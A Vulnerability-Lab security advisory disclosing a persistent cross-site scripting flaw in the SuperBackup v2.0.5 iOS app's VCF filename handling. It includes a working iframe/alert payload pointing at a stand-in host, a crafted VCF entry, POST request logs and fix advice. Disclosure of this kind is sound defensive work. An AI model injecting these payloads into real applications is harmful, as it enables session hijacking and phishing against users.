Document Title:  
SuperBackup v2.0.5 iOS - (VCF) Persistent XSS Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Vulnerability Class:  
Cross Site Scripting - Persistent  
Current Estimated Price:  
500€ - 1.000€  
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(Copy of the Homepage: )  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered multiple  
persistent cross site web vulnerabilities in the official SuperBackup  
v2.0.5 ios mobile application.  
Affected Product(s):  
Dropouts Technologies LLP  
Product: Super Backup v2.0.5  
Vulnerability Disclosure Timeline:  
2020-04-15: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
Pre auth - no privileges  
User Interaction:  
Low User Interaction  
Disclosure Type:  
Independent Security Research  
Technical Details & Description:  
A persistent cross site scripting web vulnerability has been discovered  
in the official SuperBackup v2.0.5 ios mobile application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to compromise the mobile  
web-application from the application-side.  
The cross site scripting web vulnerabilities are located in the  
`newPath`, `oldPath` & `filename` parameters of the vcf listing module.  
Remote attackers are able to inject own malicious persistent script  
codes as vcf filename to the main index list. The request method to  
inject is POST and the attack vector of the vulnerability is located on  
the application-side. The injection point is located at the vcf  
filename or import. The execution point occurs in the main index list  
after the import or insert.  
Remote attackers are able to inject own script codes to the client-side  
requested vulnerable web-application parameters. The attack  
vector of the vulnerability is persistent and the request method to  
inject/execute is POST. The vulnerabilities are classic client-side  
cross site scripting vulnerabilities. Successful exploitation of the  
vulnerability results in session hijacking, persistent phishing  
attacks, persistent external redirects to malicious source and  
persistent manipulation of affected application modules.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] VCF  
Vulnerable Parameter(s):  
[+] newPath (path - vcf filename)  
[+] oldPath (path - vcf filename)  
Proof of Concept (PoC):  
The cross site scripting vulnerability can be exploited by remote  
attackers without privileged user account and with low user interaction.  
For security demonstration or to reproduce the cross site scripting  
vulnerability follow the provided information and steps below to continue.  
PoC: Payload (Filename)  
PoC: Vulnerable Source (Listing - Index)  
<button type="button" class="btn btn-default btn-xs button-download">  
<span class="glyphicon glyphicon-download-alt"></span>  
<td class="column-name"><p class="edit" title="Click to  
rename...">Contacts 09:17:12:PM 10:Apr.:2020 .vcf</p></td>  
<td class="column-size">  
<p>26.40 KB</p>  
<td class="column-delete">  
<button type="button" class="btn btn-danger btn-xs button-delete">  
<span class="glyphicon glyphicon-trash"></span>  
PoC: Exception-Handling  
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020  
to "/Contacts >"<iframe src=evil.source onload=alert("PWND")></iframe>  
09:17:12:PM 10:Apr.:2020 .vcf"  
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020  
to "/Contacts 09:17:12:PM 10:Apr.:2020 >"<iframe src=evil.source  
onload=alert("PWND")></iframe> .vcf"  
Internal Server Error: Failed moving "/Contacts 09:17:12:PM 10:Apr.:2020  
to "/Contacts >"<iframe src=evil.source  
onload=alert("PWND")></iframe>09:17:12:PM 10:Apr.:2020 .vcf"  
PoC: Exploit  
PRODID:-//Apple Inc.//iPhone OS 12.4.5//EN  
B:Kunz Mejri ;>"<iframe src=evil.source onload=alert("PWND")></iframe> ;;;  
--- PoC Session Logs [POST] ---  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 187  
Origin: http://localhost  
Connection: keep-alive  
Referer: http://localhost/  
oldPath=/Contacts 09:17:12:PM 10:Apr.:2020  
.vcf&newPath=/evil-filename>"<iframe src=evil.source  
POST: HTTP/1.1 500 Internal Server Error  
Content-Length: 593  
Content-Type: text/html; charset=utf-8  
Connection: Close  
Server: GCDWebUploader  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://localhost/  
GET: HTTP/1.1 200 OK  
Server: GCDWebUploader  
Connection: Close  
Solution - Fix & Patch:  
1. Parse and filter the vcf name values next to add, edit or imports to  
prevent an execution  
2. Restrict and filter in the index listing the vcf names to sanitize  
the output  
Security Risk:  
The security risk of the persistent vcf cross site scripting web  
vulnerability is estimated as medium.  
Credits & Authors:  
Vulnerability-Lab -  
Benjamin Kunz Mejri -  
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